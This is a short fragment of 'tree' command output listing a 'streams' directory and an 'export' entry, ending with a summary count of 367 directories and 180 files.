└── [4.0K] streams
└── [ 1] export
367 directories, 180 files